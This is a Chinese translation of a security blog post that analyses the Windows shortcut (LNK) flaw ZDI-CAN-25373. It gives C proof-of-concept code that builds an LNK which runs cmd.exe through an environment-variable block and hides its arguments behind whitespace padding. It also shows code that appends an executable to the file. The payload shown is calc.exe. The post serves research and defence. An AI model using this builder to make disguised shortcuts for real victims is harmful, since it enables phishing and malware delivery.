【翻译】Windows LNK - Analysis & Proof-of-Concept
概述
我偶然看到了 Trend Micro 关于文章 ZDI-CAN-25373: Windows 快捷方式漏洞被广泛用于 APT 活动中的零日攻击 的分析报告。以下是他们的总结要点:
- Trend Zero Day Initiative™ (ZDI) 发现了近1000个恶意 .lnk 文件滥用 ZDI-CAN-25373 漏洞,该漏洞允许攻击者通过利用精心制作的快捷方式文件在受害者机器上执行隐藏的恶意命令。
- 这些攻击利用 .lnk 文件中隐藏的命令行参数来执行恶意负载,使检测变得复杂。ZDI-CAN-25373 漏洞的利用使组织面临重大的数据盗窃和网络间谍活动风险。
- 该漏洞已被朝鲜、伊朗、俄罗斯和中国的国家支持的 APT 组织利用。北美、欧洲、亚洲、南美和澳大利亚的政府、金融、电信、军事和能源部门的组织都受到了影响。
- 组织应立即扫描并确保针对 ZDI-CAN-25373 的安全缓解措施,对可疑的 .lnk 文件保持警惕,并确保建立全面的终端和网络保护措施以检测和应对此威胁。Trend Micro 客户通过2024年10月和2025年1月发布的规则和过滤器得到保护,免受可能的漏洞利用尝试。
浏览他们的博客文章,在"技术细节"部分提到 LNK 被滥用的方式是通过 Windows 用户界面显示快捷方式 (.LNK) 文件的内容。老调重弹,这是一个发送给受害者并诱使其打开和运行的 LNK 文件,从而执行嵌入在 LNK 文件中的恶意负载。LNK 允许修改图标,你可以从 shell32.dll
中找到这些图标 (有许多工具可以帮助提取)。
说这些就够了,让我们专注于这里提到的问题。根据 Trend Micro 的说法,威胁行为者滥用命令行参数 (与 LinkFlags 结构中的第 6 个成员相关联),启用 HasArgument
值并将其嵌入到 LNK 文件的 Target
字段中。在他们的文章中,他们还提到了 LinkTargetIDList
结构。该结构包含 LNK 文件的 target
,当使用此结构时,LinkFlags
中的 HasLinkTargetIDList
标志将被设置为 1
。他们还特别提到了在 COMMAND_LINE_ARGUMENTS
中嵌入的空白字符的填充字节。COMMAND_LINE_ARGUMENTS
是一个可选结构,用于存储激活链接目标时指定的命令行参数。如果 LinkFlags
中的 HasArguments
标志设置为 1
,则必须存在此结构。
这种技术并不新鲜,我发现有几位研究人员已经发表了相关的博客文章:
-
Game of Thrones as a gateway to a botnet - 2019 -
https://foosecn00b.com/2019/07/game-of-thrones-as-a-gateway-to-a-botnet/ -
EmbedExeLnk - Embedding an EXE inside a LNK with automatic execution - 2022 -
https://archive.is/yjQJm
@foosecn00b 提到他的朋友分享的一个多 GB 的 LNK 文件 (笑),显示了一些奇怪的属性,其中 Target
字段似乎被欺骗而没有任何内容。
@x86matthew 提到他在野外看到过各种恶意 LNK 文件,他创建了一个概念验证 (非常棒和出色),允许创建 LNK 文件并将可执行文件 (EXE) 附加到文件末尾。
所以从技术上讲,在所有这些博客文章中,主要亮点是 Windows UI 中的 Target
字段。如果你查看属性,Target
字段似乎被欺骗了。我不会说这是一个安全问题,因为这可能是预期的功能。但我猜这可能会被 Microsoft 修复。
制作概念验证
我们知道空白字符是进行规避、绕过的主要负载之一,无论是在软件应用程序还是基于 Web 的应用中。
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Microsoft 在其门户网站上记录了 Shell Link (.LNK) 二进制文件格式,按照他们的指南制作概念验证非常容易。Shell Link 二进制文件格式由以下几个结构组成:
任何(二进制)文件格式都以特定的魔术字节作为文件头开始,这些魔术字节是启动任何关联应用程序所必需的。操作系统或软件应用程序会解析文件,并在执行文件格式的其余部分之前检查这些文件头。
Shell Link 二进制文件格式以 ShellLinkHeader
结构开始。该结构包含标识信息、时间戳和用于指定可选结构存在的标志,包括:
-
LinkTargetIDList -
LinkInfo -
StringData
以下是 ShellLinkHeader
的结构:
typedef struct _ShellLinkHeader {
DWORD HeaderSize; // Must be 0x0000004C
GUID LinkCLSID; // Must be 00021401-0000-0000-C000-000000000046
DWORD LinkFlags; // Specifies presence of optional parts and properties
DWORD FileAttributes; // Specifies file attributes of the target
FILETIME CreationTime; // Creation time of the target file
FILETIME AccessTime; // Last access time of the target file
FILETIME WriteTime; // Last modification time of the target file
DWORD FileSize; // Size of the target file in bytes
DWORD IconIndex; // Index of an icon within a given icon location
DWORD ShowCommand; // Expected window state (SW_SHOWNORMAL=1, SW_SHOWMAXIMIZED=3, etc.)
WORD HotKey; // Keystrokes used to launch the application
WORD Reserved1; // Must be zero
DWORD Reserved2; // Must be zero
DWORD Reserved3; // Must be zero
} SHELL_LINK_HEADER, * PSHELL_LINK_HEADER;
查看结构,我们知道某些结构成员具有确切的值大小,例如 HeaderSize
大小为 76 字节,而 LinkCLSID
值必须始终为 00021401-0000-0000-C000-000000000046
。如果我们查看下面的示例,头部以 4C 00
开始,如果你注意到 01 14 02
字节是 Link CLSID 的小端字节。结构中还包含 LinkFlags
结构,用于指定有关 Shell Link 的信息。这是一个对我们来说非常有用的结构,我们可以根据需要进行操作和修改,以便伪造之前提到的一些信息。FileAttributesFlags
结构定义了用于指定链接目标文件属性的位,如果目标是文件系统项。
因此,要构建 Shell Link Header,我们需要相应地创建文件,然后一旦创建了这个句柄,我们就需要初始化 ShellLinkHeader
结构。由于我们这里有一个适当的结构,我们可以简单地访问结构成员列表并根据我们的偏好进行相应设置。首先,我们必须将 HeaderSize
设置为 0x0000004C
,然后设置 LinkCLSID
,以便我们的文件正确设置为 Shell Link 的类标识符。
SHELL_LINK_HEADER header = { 0 };
header.HeaderSize = 0x0000004C;
header.LinkCLSID.Data1 = 0x00021401;
header.LinkCLSID.Data2 = 0x0000;
header.LinkCLSID.Data3 = 0x0000;
header.LinkCLSID.Data4[0] = 0xC0;
header.LinkCLSID.Data4[1] = 0x00;
header.LinkCLSID.Data4[2] = 0x00;
header.LinkCLSID.Data4[3] = 0x00;
header.LinkCLSID.Data4[4] = 0x00;
header.LinkCLSID.Data4[5] = 0x00;
header.LinkCLSID.Data4[6] = 0x00;
header.LinkCLSID.Data4[7] = 0x46;
现在我们进入重要部分,我们的代码必须启用所有这些 LinkFlags
以执行我们的 payload。这里我不创建结构体,而是直接定义 LinkFlags
的每个成员。
#define HAS_LINK_TARGET_IDLIST 0x00000001
#define HAS_LINK_INFO 0x00000002
#define HAS_NAME 0x00000004
#define HAS_RELATIVE_PATH 0x00000008
#define HAS_WORKING_DIR 0x00000010
#define HAS_ARGUMENTS 0x00000020
#define HAS_ICON_LOCATION 0x00000040
#define IS_UNICODE 0x00000080
#define FORCE_NO_LINKINFO 0x00000100
#define HAS_EXP_STRING 0x00000200
#define RUN_IN_SEPARATE_PROCESS 0x00000400
#define HAS_LOGO3ID 0x00000800
#define HAS_DARWIN_ID 0x00001000
#define RUN_AS_USER 0x00002000
#define HAS_EXP_ICON 0x00004000
#define NO_PIDL_ALIAS 0x00008000
#define FORCE_USHORTCUT 0x00010000
#define RUN_WITH_SHIMLAYER 0x00020000
#define FORCE_NO_LINKTRACK 0x00040000
#define ENABLE_TARGET_METADATA 0x00080000
#define DISABLE_LINK_PATH_TRACKING 0x00100000
#define DISABLE_KNOWNFOLDER_TRACKING 0x00200000
#define DISABLE_KNOWNFOLDER_ALIAS 0x00400000
#define ALLOW_LINK_TO_LINK 0x00800000
#define UNALIAS_ON_SAVE 0x01000000
#define PREFER_ENVIRONMENT_PATH 0x02000000
#define KEEP_LOCAL_IDLIST_FOR_UNC 0x04000000
以下是我在 LinkFlags
中使用和启用的各个成员的简要总结:
-
HAS_NAME -
shell link 保存时带有名称字符串。我使用它是为了在 Windows UI 属性中的 Comment
字段显示对应的值。 -
HAS_ARGUMENTS -
shell link 保存时带有命令行参数。这里我们将填充空白字符以及我们的 payload。我们稍后会详细讨论这部分。 -
HAS_ICON_LOCATION -
shell link 保存时带有图标位置字符串。如果你想要在 LNK 中显示图标,需要启用此项。 -
IS_UNICODE -
shell link 包含 Unicode 编码的字符串。这个位必须设置。如果设置了这个位, StringData
部分将包含 Unicode 编码的字符串;否则,将使用系统默认代码页编码的字符串。 -
HAS_EXP_STRING -
shell link 保存时带有 EnvironmentVariableDataBlock
。
然后我们可以设置 FileAttributes
。这个不是很重要,我用 0x00000000
测试过是可以工作的。如果你想添加时间戳,可以使用 GetSystemTime
获取你电脑的本地时间,并设置 CreateTime
、AccessTime
和 WriteTime
。
最后,你可以根据需要设置 ShowCommand
。你可以浏览 Microsoft 门户网站上的 ShowWindow
函数,使用 nCmdShow
的值。
header.LinkFlags = HAS_NAME |
HAS_ARGUMENTS |
HAS_ICON_LOCATION |
IS_UNICODE |
HAS_EXP_STRING;
header.FileAttributes = FILE_ATTRIBUTE_NORMAL;
SYSTEMTIME st;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &header.CreationTime);
SystemTimeToFileTime(&st, &header.AccessTime);
SystemTimeToFileTime(&st, &header.WriteTime);
header.FileSize = 0;
header.IconIndex = 0;
header.ShowCommand = SW_SHOWNORMAL;
header.HotKey = 0;
header.Reserved1 = 0;
header.Reserved2 = 0;
header.Reserved3 = 0;
if (!WriteFile(hFile, &header, sizeof(SHELL_LINK_HEADER), &bytesWritten, NULL)) {
printf("Failed to write header: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
关于头部信息就说到这里,接下来我们将创建链接描述,这是 LinkFlags
中 HasName
标志的一部分。虽然我们可以使用 StringData
结构来创建描述,但由于我们已经启用了 HasName
标志,我采用了一个快速的方法。我发现如果启用 HasName
标志,就可以直接创建描述,正如我之前提到的,这将显示在 Windows UI 的 Comment
字段中。在代码中,我们只需将字符串映射为 UTF-16(widechar)字符串。
const char* description = "testing purpose";
WORD descLen = (WORD)strlen(description);
if (!WriteFile(hFile, &descLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write description length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideBufSize = MultiByteToWideChar(CP_ACP, 0, description, -1, NULL, 0);
WCHAR* wideDesc = (WCHAR*)malloc(wideBufSize * sizeof(WCHAR));
if (!wideDesc) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, description, -1, wideDesc, wideBufSize);
if (!WriteFile(hFile, wideDesc, descLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write description: %lun", GetLastError());
free(wideDesc);
CloseHandle(hFile);
return1;
}
free(wideDesc);
以下是示例:
现在是填充时间。COMMAND_LINE_ARGUMENTS
是一个可选结构,用于存储激活链接目标时指定的命令行参数(我再次重申!)。由于我们在 LinkFlags
中启用了 HasArguments
标志,我们可以通过填充 900 字节的空白字符(0x20,空格)来创建一个简单的填充。然后我们复制填充内容,并将我们的 payload 变量 calcCmd
添加到 cmdLineBuffer + fillBytes
中。在这种情况下,我没有发现填充大小有任何问题(至少在我的测试中),你可以根据需要添加任意多的填充字节。这只会增加 LNK 文件的大小
const char* calcCmd = "/c C:\Windows\System32\calc.exe";
char cmdLineBuffer[1024] = { 0 };
int cmdLen = strlen(calcCmd);
int fillBytes = 900 - cmdLen;
memset(cmdLineBuffer, 0x20, fillBytes);
strcpy(cmdLineBuffer + fillBytes, calcCmd);
cmdLineBuffer[900] = ' ';
WORD cmdArgLen = (WORD)strlen(cmdLineBuffer);
if (!WriteFile(hFile, &cmdArgLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write cmd length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideCmdBufSize = MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, NULL, 0);
WCHAR* wideCmd = (WCHAR*)malloc(wideCmdBufSize * sizeof(WCHAR));
if (!wideCmd) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, wideCmd, wideCmdBufSize);
if (!WriteFile(hFile, wideCmd, cmdArgLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write cmd: %lun", GetLastError());
free(wideCmd);
CloseHandle(hFile);
return1;
}
free(wideCmd);
结果如下例所示:
然后我们根据您指定的路径创建图标。
const char* iconPath = "path\to\your\icon";
WORD iconLen = (WORD)strlen(iconPath);
if (!WriteFile(hFile, &iconLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write icon length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideIconBufSize = MultiByteToWideChar(CP_ACP, 0, iconPath, -1, NULL, 0);
WCHAR* wideIcon = (WCHAR*)malloc(wideIconBufSize * sizeof(WCHAR));
if (!wideIcon) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, iconPath, -1, wideIcon, wideIconBufSize);
if (!WriteFile(hFile, wideIcon, iconLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write icon path: %lun", GetLastError());
free(wideIcon);
CloseHandle(hFile);
return1;
}
free(wideIcon);
示例:
现在是另一个重要部分,它将帮助我们的 payload 得以执行。我们启用了 HAS_EXP_STRING
标志,该标志与 Environment Variable Data Block
结构相关。根据 Microsoft 文档,当链接目标引用具有相应环境变量的位置时,EnvironmentVariableDataBlock
结构指定了环境变量信息的路径。
在此之前,我们需要了解 EnvironmentVariableDataBlock
是 ExtraData
结构成员的一部分。ExtraData
指的是一组传递有关链接目标的附加信息的结构。这些可选结构可以存在于附加到基本 Shell Link Binary File Format 的额外数据部分中。
EnvironmentVariableDataBlock
看起来比较敏感,你必须将 BlockSize
设置为 788 字节(0x00000314),并且我们必须设置 EnvironmentVariableDataBlock
的签名,即 0xA0000001
。设置完这些后,我们可以为 TargetAnsi
分配 260 字节的缓冲区大小,为 TargetUnicode
分配 520 字节。这就是我们的 envPath
在执行 LNK 时被调用的地方,并在 COMMAND_LINE_ARGUMENTS
中调用其余参数。哦,我忘了提到我们在 LinkFlags
中启用了 IsUnicode
标志,这意味着我们的参数是以 Unicode 方式调用和执行的。
const char* envPath = "%windir%\system32\cmd.exe";
DWORD envBlockSize = 0x00000314;
DWORD envSignature = ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE;
if (!WriteFile(hFile, &envBlockSize, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block size: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
if (!WriteFile(hFile, &envSignature, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block signature: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
char ansiBuffer[260] = { 0 };
strncpy(ansiBuffer, envPath, 259);
if (!WriteFile(hFile, ansiBuffer, 260, &bytesWritten, NULL)) {
printf("Failed to write TargetAnsi: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
WCHAR unicodeBuffer[260] = { 0 };
if (MultiByteToWideChar(CP_ACP, 0, envPath, -1, unicodeBuffer, 260) == 0) {
printf("Failed to convert to Unicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
if (!WriteFile(hFile, unicodeBuffer, 520, &bytesWritten, NULL)) {
printf("Failed to write TargetUnicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
示例:
我更倾向于说这是一个欺骗问题,你可以操纵 Shell Link 从 EnvironmentVariableDataBlock
调用 cmd.exe
,并通过 COMMAND_LINE_ARGUMENTS
执行其参数,同时使用额外的空白字符填充字节并在其上连接实际的 payload。因此,我们实际上看到的是 Windows UI 中 Target
字段被欺骗的情况。抱歉这些话可能有点令人困惑,哈哈。
当然,你也可以在 LNK 文件的末尾嵌入一个可执行文件,并且可以修改 COMMAND_LINE_ARGUMENTS
来执行你的 payload(PowerShell 大法好!)。以下是可用于在 LNK 文件中嵌入可执行文件的示例代码:
printf("Reading calc.exe from %sn", pExePath);
for (;;)
{
if (ReadFile(hExe, exeBuffer, sizeof(exeBuffer), &exeFileSize, NULL))
{
printf("Successfully read calc.exe: %lu bytesn", exeFileSize);
if (exeFileSize == 0)
{
break;
}
if (!WriteFile(hFile, exeBuffer, exeFileSize, &bytesWritten, NULL)) {
printf("Failed to write embedded exe data: %lun", GetLastError());
free(exeBuffer);
CloseHandle(hFile);
return1;
}
printf("Successfully embedded calc.exe in LNK file: %lu bytes writtenn", bytesWritten);
free(exeBuffer);
}
else {
printf("Failed to read calc.exe, continuing without embeddingn");
}
}
我就把整个练习留在这里给你们了,哈哈。这是嵌入在 LNK 文件中的示例 payload:
我想目前就这些了。如果有异议随时提出,我在分析过程中可能有错误。
原文始发于微信公众号(securitainment):Windows LNK - 分析与概念验证
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论